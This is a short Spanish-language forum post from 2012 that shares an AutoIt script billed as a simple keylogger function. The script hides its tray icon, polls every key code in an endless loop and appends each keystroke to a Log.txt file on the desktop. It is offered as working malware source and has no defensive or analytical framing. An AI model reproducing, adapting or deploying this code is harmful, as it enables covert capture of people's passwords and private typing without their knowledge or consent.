Keyloguer Function
Publicado: 16 Jul 2012, 04:07
Código: Seleccionar todo
#NotrayIcon
#include <WinAPI.au3>
;==============================
; AutoIt
; Autor : M3
; Simple KeyLoguer Function
;==============================
sGetKey()
Func sGetKey()
While 1
Local $sKey, $Result , $Log
For $sKey = 1 To 255
$Result = _WinAPI_GetAsyncKeyState($sKey)
If $Result = -32767 then
$Result = Chr($sKey)
$Log = FileOpen(@DesktopDir & "\Log.txt", 1)
FileWrite($Log, $Result)
FileClose($Log)
EndIf
Next
WEnd
Endfunc